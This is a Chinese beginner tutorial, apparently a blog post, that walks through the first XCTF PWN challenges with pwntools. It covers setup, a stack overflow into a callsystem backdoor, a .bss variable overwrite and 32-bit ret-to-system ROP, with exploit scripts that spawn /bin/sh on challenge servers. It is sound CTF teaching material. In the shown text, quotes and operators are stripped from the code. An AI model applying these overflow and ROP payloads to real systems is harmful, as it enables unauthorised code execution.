新手也能玩转PWN:从零开始用pwntools搞定攻防世界XCTF前5题

张开发
2026/6/7 4:53:00 15 分钟阅读

分享文章

新手也能玩转PWN:从零开始用pwntools搞定攻防世界XCTF前5题
新手也能玩转PWN从零开始用pwntools搞定攻防世界XCTF前5题第一次接触CTF比赛中的PWN题型时看着那些二进制文件和陌生的术语我完全不知道从何入手。直到在虚拟机里成功拿到第一个flag那种砰的突破感让我彻底着迷——这就是PWN的魅力。本文将用最直白的语言带你完成从环境搭建到实战解题的全过程即使零基础也能在2小时内攻克攻防世界新手区前5题。1. 环境准备打造你的PWN武器库在Kali Linux虚拟机中推荐使用2023.3版本打开终端依次执行以下命令安装核心工具sudo apt update sudo apt install -y python3-pip git gdb pip3 install pwntools --upgrade验证安装是否成功python3 -c import pwn; print(pwn.__version__)常见问题排查报错Command not found检查网络连接后重试sudo apt updatepip安装缓慢添加-i https://pypi.tuna.tsinghua.edu.cn/simple参数pwntools功能缺失运行python3 -m pip install --upgrade githttps://github.com/Gallopsled/pwntools工具清单说明工具名称作用替代方案pwntools漏洞利用框架手动编写socket代码IDA Free反编译分析工具GhidraGDB动态调试工具Radare2checksec安全机制检测手动查看ELF头提示初学者建议全部使用默认安装选项避免自定义路径导致后续命令报错2. 初识PWN理解漏洞利用的本质PWN题的核心是找到程序中的漏洞并构造特殊输入称为payload使其执行非预期操作。以最简单的get_shell为例下载题目附件后先用file命令查看类型file get_shell输出显示为ELF 64-bit LSB executable表示64位Linux程序使用pwntools的ELF模块快速分析from pwn import * e ELF(./get_shell) print(hex(e.symbols[main])) # 打印main函数地址连接题目服务器的基础模板r remote(111.200.241.244, 65238) # 替换为实际IP端口 r.interactive() # 进入交互模式当看到$符号时尝试输入cat flag恭喜你已拿到第一个flag。3. 栈溢出实战level0解题详解这个64位程序存在典型的缓冲区溢出漏洞我们通过以下步骤实现控制流劫持3.1 漏洞分析使用IDA打开level0查看vulnerable_functionchar buf[80]; // 栈缓冲区 read(0, buf, 200); // 可写入200字节计算偏移量buf到返回地址需要覆盖0x80(栈空间) 8(保存的rbp) 136字节3.2 寻找后门函数在IDA中按ShiftF12搜索字符串发现/bin/sh位于callsystem函数int callsystem() { return system(/bin/sh); }3.3 构造payloadfrom pwn import * context(oslinux, archamd64) # 设置环境参数 r remote(111.200.241.244, 54800) elf ELF(./level0) payload bA*136 # 填充缓冲区 payload p64(elf.symbols[callsystem]) # 覆盖返回地址 r.sendline(payload) r.interactive()关键点说明p64()将地址转为小端序字节序列如果本地测试失败尝试添加context.log_leveldebug查看详细通信4. BSS段溢出hello_pwn技巧突破这道题展示了非栈区域的溢出利用4.1 关键变量定位使用readelf查看段信息readelf -S hello_pwn发现.bss段中存在两个相邻变量unk_601068用户输入存储位置dword_60106C需要覆盖的目标4.2 偏移计算通过IDA静态分析read(0, unk_601068, 10uLL); if ( dword_60106C 1853186401 ) sub_400686(); // 后门函数数学关系60106C - 601068 4字节需要先填充4字节然后写入目标值4.3 数值转换技巧1853186401的十六进制表示hex(1853186401) # 输出0x6e756161对应ASCII字符是nuaa最终payloadpayload bAAAA p64(1853186401)5. ROP技术入门level2解题示范当程序没有现成后门时需要通过ROP技术组合代码片段5.1 获取必要地址elf ELF(./level2) system_addr elf.plt[system] # 获取system函数地址 binsh_addr next(elf.search(b/bin/sh)) # 查找字符串地址5.2 32位程序栈帧构造不同于64位参数通过寄存器传递32位程序需要按以下顺序构造栈帧函数地址system返回地址可随意填充参数地址/bin/sh对应payloadpayload bA*(0x884) # 填充ebp payload p32(system_addr) # 返回地址 payload p32(0xdeadbeef) # 随意返回地址 payload p32(binsh_addr) # 参数5.3 自动化工具辅助使用ROPgadget查找可用指令片段ROPgadget --binary level2 --ropchain实际比赛中成熟的PWN题往往需要组合多种技术。记得每次测试后使用r.close()关闭连接避免服务器限制。当遇到EOFError时通常是payload构造有误建议先用cyclic(200)生成测试字符串定位崩溃点。掌握这些基础后你已经具备了解决大部分CTF新手PWN题的能力。接下来可以尝试更复杂的技巧如格式化字符串漏洞利用、堆风水等进阶内容。记住每个失败的尝试都是通往成功的必经之路——我的第一个PWN题花了整整三天才解出来但那种突破的喜悦值得所有付出。

更多文章